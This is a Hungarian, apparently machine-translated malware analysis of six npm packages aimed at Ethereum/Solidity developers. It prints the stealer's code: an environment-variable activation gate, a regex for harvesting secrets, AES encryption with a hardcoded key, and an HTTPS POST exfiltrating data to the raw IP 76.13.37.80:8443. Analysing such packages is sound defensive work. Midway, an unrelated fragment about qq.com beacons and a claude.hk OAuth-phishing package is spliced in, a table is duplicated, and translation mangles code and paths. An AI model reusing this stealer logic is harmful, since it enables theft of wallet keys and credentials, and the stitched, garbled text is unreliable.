TL, DR
2026. május 6-án egyetlen npm kiadó, namikazesarada010206hat rosszindulatú csomagot juttatott el, amelyek az Ethereum, a Solidity és a DeFi fejlesztői ökoszisztémát vették célba.
A csomagok, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsés web3-utils-core, elfogadható neveket használt, amelyek úgy néztek ki, mint a népszerű Web3 eszközök segítőkönyvtárai.
Mind a hat csomag ugyanazt tartalmazta telemetry.js fájl. A fájl bájt-azonos volt a fürtön belül, SHA-256-tal:
A kártevő nem fut a telepítés során. Nincs preinstall or postinstall hook. Ehelyett akkor aktiválódik, amikor a csomagot importálják a következőn keresztül: require().
Az a részlet számít.
A beültetés addig vár, amíg a fejlesztő ténylegesen használni nem kezdi a csomagot. Ezután ellenőrzi, hogy a munkaállomás úgy néz-e ki, mint egy valódi Ethereum / Solidity fejlesztői környezet. Alchemy vagy Infura kulcsokat, privát kulcsokat, mnemonikokat, telepítői kulcsokat vagy egy helyi Foundry könyvtárat keres.
Ha a gazdagép egyezik, a lopó begyűjti az SSH privát kulcsokat, a Foundry / Geth / Brownie pénztárca kulcstárolóit, .env* fájlokat és érzékeny környezeti változókat. AES-256-GCM titkosítással titkosítja a csomagot egy fixen kódolt jelszóval, majd egy nyers IPv4 C2 végpontra szivárogtatja ki, letiltott TLS-ellenőrzéssel.
A Xygeni kártevő-elővigyázatossági (MEW) rendszere mind a hat csomagot rosszindulatúként igazolta. Az npm rendszerleíró adatbázis eltávolítási jelentéscsomagjának elkészítése folyamatban van.
A klaszter: Hat csomag, egy kiadó
A kiadói fiók namikazesarada010206 ellenőrizetlen Gmail-címhez volt kapcsolva namikazesarada010206@gmail.com.
A kampány egynapos kiadványsorozatként jelent meg 2026. május 6-án. Mind a hat csomagot a következő verziókban készítették el: 1.0.0, nulla futásidejű függőséggel rendelkezett, és csak három fájlt szállított:
package.json index.js telemetry.js Ugyanezt a forráskód-tárházat is deklarálták:
https://github.com/harunosakura030303-maker/evmchain-config Az első három csomagot az MEW szkennerek az első megjelenéskor elkapták. A fennmaradó hármat kényszerített megjelöléssel látták el a kiadó npm profiljának elemzői áttekintése után. Miután ugyanaz a bájtazonos telemetry.js megerősítést nyert a klaszterben, a konzisztencia alapján rosszindulatúként zárták le őket.
| Csomag | Változat | npm Közzétéve | MEW jegy | Verdikt |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Rosszindulatú |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Rosszindulatú |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Rosszindulatú |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Rosszindulatú, következetességből fakadóan |
| öntödei segédeszközök | 1.0.0 | 2026-05-06 | #51071 | Rosszindulatú, következetességből fakadóan |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Rosszindulatú, következetességből fakadóan |
A névadási stratégia egyszerű, de hatékony.
Ezek a csomagok nem személyesítik meg a pontos upstream neveket. Ehelyett valószínű „segédprogram” utótagokat használnak, mint például -core, -utilsés -utils-coreEmiatt olyan kiegészítő könyvtáraknak tűnnek, amiket egy fejlesztő a Web3 eszközök közelében elvárhat.
| Kártékony csomag | Jogos célpont |
|---|---|
| viem-core | viem, egy népszerű Ethereum TypeScript kliens |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, egy mainstream Solidity fejlesztői környezet |
| evm-utils | Általános EVM eszköznévtér |
| öntödei segédeszközök | öntöde, egy Solidity szerszámlánc |
| web3-utils-core | web3-segédprogramok, Web3.js segítők |
Ez a „kiegészítő csomag” minta: nem „Én vagyok az igazi csomag”, hanem „Én egy ésszerű segítőtársnak tűnök az igazi csomag körül”.
A gyorsan mozgó DeFi-fejlesztők számára ez már önmagában is kockázatot jelent.
Mi történik a csomag importálásakor?
A támadási lánc kicsi, szándékos és a kriptofejlesztői környezetekre összpontosít.
Nincs rögzítőhorog. Ehelyett minden csomag tartalmaz egy index.js amely exportálja a csonkfunkciókat, majd betölti a rosszindulatú telemetria modult.
require('./telemetry').init(); Ez azt jelenti, hogy a kártevő az első importáláskor aktiválódik.
Ez működési szempontból hasznos a támadó számára. Sok szkenner és tesztkörnyezet a telepítési idejű viselkedésre összpontosít. Ez a csomag addig vár, amíg egy fejlesztő, build szkript, tesztcsomag vagy futásidejű útvonal ténylegesen felhasználja.
Aktiválási kapu: Csak valódi Web3 fejlesztői munkaállomásokon aktiválható
Az implantátum legfontosabb része az aktivációs kapu.
A kártevő az Ethereum / Solidity fejlesztői gépeken gyakran előforduló környezeti változókat ellenőrzi:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Azt is ellenőrzi, hogy a Foundry telepítve van-e:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ha egyik feltétel sem igaz, a függvény visszaadja az értéket, és nem tesz semmit.
Ezáltal a csomag csendesebb az általános elemzési környezetekben. Egy Foundry, Alchemy, Infura, privát kulcsok vagy mnemonik nélküli sandbox ártalmatlannak tűnő importálást láthat.
Egyező gazdagépen a kártevő 60-90 másodpercet vár a begyűjtés előtt:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); A késedelem csökkenti az import és az exfiltráció közötti nyilvánvaló összefüggést. .unref() A hívás lehetővé teszi a gazdafolyamat normál kilépését is, ha a csomagot egy rövid életű szkriptben importálták.
Ez nem zajos, „összecsapás és megragadás” viselkedés. Ez egy célzott lopó függvény, amely úgy lett kialakítva, hogy ne fusson le, hacsak a fejlesztői környezet nem éri meg a lopást.
Amit a tolvaj gyűjt
Miután az aktiválási kapun áthalad, a rosszindulatú program a Web3 fejlesztésében legfontosabb forrásokból gyűjti az adatokat: privát kulcsok, tárca kulcstárolók, telepítési hitelesítő adatok, felhőalapú titkok, npm tokenek és helyi projektkonfiguráció.
| Forrás | Mit gyűjtenek |
|---|---|
| folyamat.env | Bármely változó egyezése /TOKEN|TITKOS|KULCS|JELSZÓ|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | PRIVATE KEY vagy BEGIN OPENSSH utasításokat tartalmazó fájlok, beleértve a teljes fájltartalmat is |
| ~/.foundry/kulcstárak/* | Foundry pénztárca kulcstároló fájlok |
| ~/.ethereum/keystore/* | Geth pénztárca kulcstároló fájlok |
| ~/.brownie/fiókok/* | Brownie pénztárca kulcstároló fájlok |
| ${cwd}/.env | Teljes fájltartalom |
| ${cwd}/.env.local | Teljes fájltartalom |
| ${cwd}/.env.produkció | Teljes fájltartalom |
| ${cwd}/.env.fejlesztés | Teljes fájltartalom |
| os.hostname() | Gazdagép metaadatai |
| crypto.randomUUID() | Áldozat/munkamenet azonosító |
| Dátum.most() | Gyűjtemény időbélyegzője |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Az ATTA tokenek a következők:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Nem tudtuk megerősíteni, hogy a telemetria az üzemeltető saját elemzési adataiból vagy egy külön monetizált csatornából származott. Az ATTA tokenek mindkét általunk vizsgált mintában megegyeznek.
B klaszter: heibai
claude.hk OAuth adathalászat + ANTHROPIC_BASE_URL eltérítés
Az április 1-jei minta a kampány nyersebb, korábbi ága.
heibai:2.1.88-claude.hk-4 közzétette: wuguoqiangvip28, egy 2025. június 7-én létrehozott fiók. A csomag kifejezetten a jogosulatlan verziókkal ellentétesen állította be magát. 2.1.88 Antropikus kibocsátás.
Nem foglalkozik a CA-tanúsítvány MITM-jével. Ehelyett hazudik a felhasználónak az OAuth végpontról.
A kiszivárgott Claude Code forráskódon található rosszindulatú kiegészítések a következők:
| Forrás | Mit gyűjtenek |
|---|---|
| folyamat.env | Bármely változó egyezése /TOKEN|TITKOS|KULCS|JELSZÓ|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | PRIVATE KEY vagy BEGIN OPENSSH utasításokat tartalmazó fájlok, beleértve a teljes fájltartalmat is |
| ~/.foundry/kulcstárak/* | Foundry pénztárca kulcstároló fájlok |
| ~/.ethereum/keystore/* | Geth pénztárca kulcstároló fájlok |
| ~/.brownie/fiókok/* | Brownie pénztárca kulcstároló fájlok |
| ${cwd}/.env | Teljes fájltartalom |
| ${cwd}/.env.local | Teljes fájltartalom |
| ${cwd}/.env.produkció | Teljes fájltartalom |
| ${cwd}/.env.fejlesztés | Teljes fájltartalom |
| os.hostname() | Gazdagép metaadatai |
| crypto.randomUUID() | Áldozat/munkamenet azonosító |
| Dátum.most() | Gyűjtemény időbélyegzője |
A célpontok listája rendkívül specifikus. Ez nem általános böngészőlopás vagy széles körű hitelesítő adatok ellopása. Azokat a fejlesztőket célozza meg, akik Ethereum alkalmazásokat építenek, tesztelnek, telepítenek vagy üzemeltetnek.
A Foundry, Geth és Brownie kulcstárolók beillesztése különösen fontos. Ezek a fájlok közvetlen hozzáférést biztosíthatnak tárcákhoz vagy telepítési identitásokhoz. Ha a támadó jelszavakkal, emlékeztetőkkel vagy környezeti titkokkal tudja párosítani őket, akkor képes lehet pénzeszközöket átutalni, telepítőket megszemélyesíteni, vagy feltörni az intelligens szerződések működését.
Titkosítás a kiszivárgás előtt
A kártevő titkosítja a gyűjtött adatokat, mielőtt elküldené azokat.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); A fixen kódolt jelszó a következő:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d A végső hasznos adat JSON formátumban van csomagolva:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} A titkosítás önmagában nem teszi a kártevőt fejlettebbé. Azonban megnehezíti a hálózat vizsgálatát. A kimenő sávot figyelő védőeszköz látná a JSON hasznos adatot, de nem az ellopott kulcsokat, pénztárca fájlokat vagy más hasonló fájlokat. .env fixen kódolt jelszó és dekódolási logika nélküli tartalmak.
Kiszivárgás nyers IPv4 C2-be
A kiszűrési útvonal fixen kódolva van:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); A rosszindulatú program adatokat küld a következő címre:
https://76.13.37.80:8443/api/v1/telemetry Két részlet emelkedik ki.
Először is, a C2 egy nyers IPv4-cím, nem pedig egy domain. Ez szükségtelenné teszi a domainregisztrációt, és elkerüli a domainalapú észleléseket.
Másodszor, a TLS-ellenőrzés le van tiltva a következővel:
rejectUnauthorized: false Ez lehetővé teszi a rosszindulatú program számára, hogy bármilyen tanúsítványt elfogadjon, beleértve az önaláírt tanúsítványokat is. Más szóval, a támadó titkosított átvitelhez jut érvényes nyilvános tanúsítvány nélkül.
Nincs újrapróbálkozási logika és nincs tartalék host. A hibákat a rendszer csendben kezeli. Ezáltal a csomag nem reagál, ha a C2 offline állapotban van vagy nem érhető el.
Miért számít ez a kampány?
A fejlesztőknek szánt legtöbb rosszindulatú npm csomag szélesebb körű hitelesítő adatokat használ: npm tokeneket, AWS kulcsokat, GitHub tokeneket vagy .npmrc fájlokat.
Ez a kampány leszűkíti a célközönséget.
Olyan jeleket keres, amelyek arra utalnak, hogy a gép egy Ethereum vagy Solidity fejlesztőhöz tartozik. Ezután pontosan azokat az eszközöket kéri le, amelyek az adott környezetben számítanak: tárca kulcstárolók, privát kulcsok, mnemonikus kódok, telepítői kulcsok, .env fájlokat és SSH kulcsokat.
Ez veszélyesebbé teszi a kampányt a Web3 csapatok számára, mint egy általános npm-lopó.
Egy sikeres fertőzés a következőket okozhatja:
- Telepítési tárcák
- Intelligens szerződéses adminisztrátori kulcsok
- RPC-szolgáltatói kulcsok
- Felhőalapú telepítési hitelesítő adatok
- npm közzétételi tokenek
- SSH hozzáférés a fejlesztői vagy build infrastruktúrához
- A projekt titkait itt tároljuk:
.envfájlok - Foundry, Geth vagy Brownie tárcakulcstárai
A csomagnevek egyértelmű társadalmi manipulációról is tanúskodnak. Ismerős eszközneveken keresztül célozzák meg a Web3 fejlesztői ökoszisztémát: viem, hardhat, foundry, evmés web3.
A szereplőnek nem kell veszélyeztetnie a valódi projekteket. Csak egy fejlesztőre van szükségük, aki telepít egy látszólag elfogadható kiegészítő csomagot.
Kompromittálódás és felderítés indikátorai
| Csomagok és kiadó | |
|---|---|
| Mező | Érték: |
| npm kiadó | namikazesarada010206 |
| Kiadó e-mail címe | namikazesarada010206@gmail.com |
| email ellenőrizve | Nem |
| SCM ellenőrzött | Nem |
| Hírnév pontszám | 1.0 |
| Csomagok | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, öntödei-utils, web3-utils-core |
| változatok | Minden 1.0.0 |
| Forrásadattár | https://github.com/harunosakura030303-maker/evmchain-config |
| Megerősített rosszindulatú | Mind a hat csomag |
| Hálózat | |
|---|---|
| típus | Érték: |
| C2 végpont | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP-cím | 76.13.37.80 |
| C2 port | 8443/tcp |
| TLS-viselkedés | elutasításUnauthorized: hamis |
| Hasznos teher séma | {"v":2,"iv": ,,d": ,,t": } |
| Fájlok és hashek | |
|---|---|
| típus | Érték: |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Csomag elrendezése | package.json, index.js, telemetry.js |
| Fájlok száma | 3 |
| Hozzávetőleges teljes méret | 3.4 KB |
Aktivációs jelek
A kártevő a következő környezeti változókat ellenőrzi:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Ezenkívül ellenőrzi a következőket:
~/.foundry/ Célzott gazdaútvonalak
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Gyűjtemény Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Észlelési megjegyzések
Számos szabály képes leküzdeni ezt a kampányt teljes viselkedéselemzés nélkül.
Először is, vizsgáld át a zárolási fájlokat a hat kártékony csomagnév után:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Bármelyik mérkőzés package-lock.json, yarn.lock, pnpm-lock.yamlvagy node_modules A történelmet komoly eseményként kell kezelni.
Másodszor, figyelje a Node.js folyamatokat, amelyek tárca kulcstároló útvonalakat olvasnak:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ez ritkán jogos viselkedés egy segítő függőségként importált csomag esetében. Különösen gyanús, ha kimenő hálózati tevékenység követi.
Harmadszor, blokkolja vagy figyelmeztessen a HTTPS-kapcsolatokra a következőkkel kapcsolatban:
76.13.37.80:8443 Különösen akkor, ha a kérés útvonala:
/api/v1/telemetry Negyedszer, keress olyan npm csomagokat, amelyek ezeket a tulajdonságokat ötvözik:
- Friss vagy alacsony hírű kiadó
- Nem ellenőrzött Gmail-fiók
- Web3-mal szomszédos csomag neve
- Nincs érdemi adattár-előzmény
- Apró csomagolás elrendezése
index.jsamely betölt egy telemetriai vagy segédfájlt- Nincsenek futásidejű függőségek
- Érzékeny környezeti változók gyűjteménye
- Pénztárca kulcstár hozzáférés
Ez a minta hasznosabb, mint egyetlen IOC, mivel a következő csomag megváltoztathatja az IP-címet, de megtarthatja ugyanazt a célzási logikát.
Kompromisszumos Válasz Ellenőrzőlista
Ha egy fejlesztő a hat csomag egyikét használta, és a környezete megfelelt az aktiválási kapunak, akkor a munkaállomást feltörtként kell kezelni.
Ez magában foglalja a Foundry telepített gépeit, a környezetben található Alchemy vagy Infura kulcsokat, a privát kulcsokat, a mnemonikus kódokat vagy a telepítői kulcsokat.
Ajánlott válasz:
- Válassza le a gazdagépet a hálózatról.
- megőrzése
node_modules, zárolási fájlok, shell előzmények és releváns naplók a forenzikus elemzéshez. - Minden SSH kulcspárt elforgatni
~/.ssh/. - Minden kulcstárolóhoz cserélje ki a tárcakulcsokat a
~/.foundry,~/.ethereumés~/.brownie. - Utalj pénzt új pénztárcákba.
- Forgasd el az összes tárolt titkot
.env*fájlok azokban a tárolókban, amelyekben a fejlesztő dolgozott. - Forgassa el a gyűjtemény reguláris kifejezésének megfelelő környezeti titkokat, beleértve az AWS-kulcsokat, az npm-tokeneket, a telepítési tokeneket, az API-kulcsokat, a privát kulcsokat, a seedeket és a mnemonikokat.
- A csomag első telepítése óta a felhő, az npm, a GitHub, az RPC-szolgáltató és a blokklánc tevékenységeinek auditálása.
- Újratelepítés előtt telepítse újra a munkaállomás képét.
Amit a védőknek el kell vinniük
Ez a kampány bemutatja, hogyan fejlődik az npm typosquatting a nagy értékű fejlesztői ökoszisztémák körül.
A szereplőnek nem volt szüksége kitartásra. Nem volt szükségük ködösítésre. Még csak telepítési idejű végrehajtásra sem.
Ehelyett három dologra támaszkodtak:
- Valószínű Web3 csomagnevek
- Aktiválás csak valódi kriptofejlesztő gépeken
- Az Ethereum fejlesztők számára legfontosabb fájlok és titkok közvetlen ellopása
Emiatt a kampány könnyen elsiklahat a szélesebb közönség előtt, és veszélyes lehet, ha megfelelő környezetbe kerül.
A Web3 csapatok számára a tanulság egyértelmű: a függőségek nevét a fenyegetési modell részeként kell kezelni. Egy ártalmatlan segítőcsomagnak tűnő csomag is a tárca feltörésének legrövidebb útja lehet.
Jelentve az npm rendszerleíró adatbázisnak. Frissíteni fogjuk ezt a bejegyzést, amint a közzétevői fiók és a csomagok eltávolításra kerülnek.




